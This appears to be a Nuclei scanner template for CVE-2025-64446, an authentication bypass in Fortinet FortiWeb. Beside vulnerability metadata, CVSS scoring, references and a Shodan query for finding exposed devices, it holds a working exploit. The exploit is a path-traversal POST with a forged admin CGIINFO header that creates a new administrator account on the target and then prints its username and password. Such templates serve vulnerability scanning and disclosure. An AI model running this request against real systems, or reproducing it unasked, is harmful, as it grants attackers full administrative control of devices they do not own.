CVE-2025-64446: FortiWeb - Authentication Bypass

id: CVE-2025-64446

info:
  name: FortiWeb - Authentication Bypass
  author: DhiyaneshDk,watchTowr,rapid7,defusedcyber
  severity: critical
  description: |
    A relative path traversal vulnerability in Fortinet FortiWeb 8.0.0 through 8.0.1, FortiWeb 7.6.0 through 7.6.4, FortiWeb 7.4.0 through 7.4.9, FortiWeb 7.2.0 through 7.2.11, FortiWeb 7.0.0 through 7.0.11 may allow an attacker to execute administrative commands on the system via crafted HTTP or HTTPS requests.
  impact: |
    Attackers can execute administrative commands remotely, potentially leading to full system compromise.
  remediation: |
    Update to the latest FortiWeb version beyond 8.0.1.
  reference:
    - https://nvd.nist.gov/vuln/detail/CVE-2025-64446
    - https://x.com/defusedcyber/status/1975242250373517373
    - https://github.com/watchtowrlabs/watchTowr-vs-Fortiweb-AuthBypass
    - https://github.com/rapid7/metasploit-framework/pull/20698/files
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2025-64446
    epss-score: 0.91838
    epss-percentile: 0.99811
    cwe-id: CWE-23
    cpe: cpe:2.3:a:fortinet:fortiweb:*:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 1
    shodan-query: title:"FortiWeb - "
  tags: cve,cve2025,vuln,fortiweb,fortigate,intrusive,auth-bypass,kev,vkev

variables:
  username: "{{to_lower(rand_text_alpha(8))}}"
  password: "{{to_lower(rand_text_alpha(8))}}"

http:
  - raw:
      - |
        POST /api/v2.0/cmdb/system/admin%3f/../../../../../cgi-bin/fwbcgi HTTP/1.1
        Host: {{Hostname}}
        CGIINFO: eyJ1c2VybmFtZSI6ICJhZG1pbiIsICJwcm9mbmFtZSI6ICJwcm9mX2FkbWluIiwgInZkb20iOiAicm9vdCIsICJsb2dpbm5hbWUiOiAiYWRtaW4ifQ==
        Content-Type: application/json

        {
            "data": {
                "q_type": 1,
                "name": "{{username}}",
                "access-profile": "prof_admin",
                "access-profile_val": "0",
                "last-name": "",
                "first-name": "",
                "email-address": "",
                "phone-number": "",
                "mobile-number": "",
                "hidden": 0,
                "comments": "",
                "sz_dashboard": -1,
                "type": "local-user",
                "type_val": "0",
                "admin-usergrp_val": "0",
                "wildcard_val": "0",
                "accprofile-override_val": "0",
                "sshkey": "",
                "trusthostv4": "127.0.0.1/8",
                "trusthostv6": "::1/128",
                "passwd-set-time": 0,
                "history-password-pos": 0,
                "history-password0": "",
                "history-password1": "",
                "history-password2": "",
                "history-password3": "",
                "history-password4": "",
                "history-password5": "",
                "history-password6": "",
                "history-password7": "",
                "history-password8": "",
                "history-password9": "",
                "force-password-change": "disable",
                "force-password-change_val": "0",
                "password": "{{password}}"
            }
        }

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - '"results":'
          - '"can_clone":'
        condition: and

      - type: status
        status:
          - 200

    extractors:
      - type: dsl
        dsl:
          - '"USERNAME: "+ username'
          - '"PASSWORD: "+ password'
# digest: 490a0046304402205d4970023e08dba2ec60136cfd1f4114cc6bb122490b24f9fbd5859bb196de5a0220484d2c6a5d0c3facce187ea68b9bb8e392527766ed96bc49faf7da7b5f708f0f:922c64590222798bb761d5b6d8e72950

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